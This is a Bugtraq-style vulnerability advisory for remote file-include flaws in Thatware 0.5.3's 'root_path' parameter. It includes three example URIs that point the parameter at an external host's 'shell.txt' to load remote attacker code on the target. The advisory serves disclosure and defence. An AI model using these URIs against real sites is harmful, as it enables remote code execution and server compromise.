Thatware 'root_path' Parameter Multiple Remote File Include Vulnerabilities

Bugtraq ID:	37191
Class:	Input Validation Error
CVE:	CVE-2006-4213
Remote:	Yes
Local:	No
Published:	Dec 03 2009 12:00AM
Updated:	Jul 05 2016 09:26PM
Credit:	cr4wl3r
Vulnerable:	Thatware Thatware 0.5.3
Not Vulnerable:

Thatware 'root_path' Parameter Multiple Remote File Include Vulnerabilities

Thatware is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

Thatware 0.5.3 and prior versions are vulnerable.

Thatware 'root_path' Parameter Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/config.php?root_path=http://www.example2.com/shell.txt???
http://www.example.com/artlist.php?root_path=http://www.example2.com/shell.txt???
http://www.example.com/thatfile.php?root_path=http://www.example2.com/shell.txt??

Thatware 'root_path' Parameter Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Thatware 'root_path' Parameter Multiple Remote File Include Vulnerabilities

References:

• Thatware Homepage (Thatware)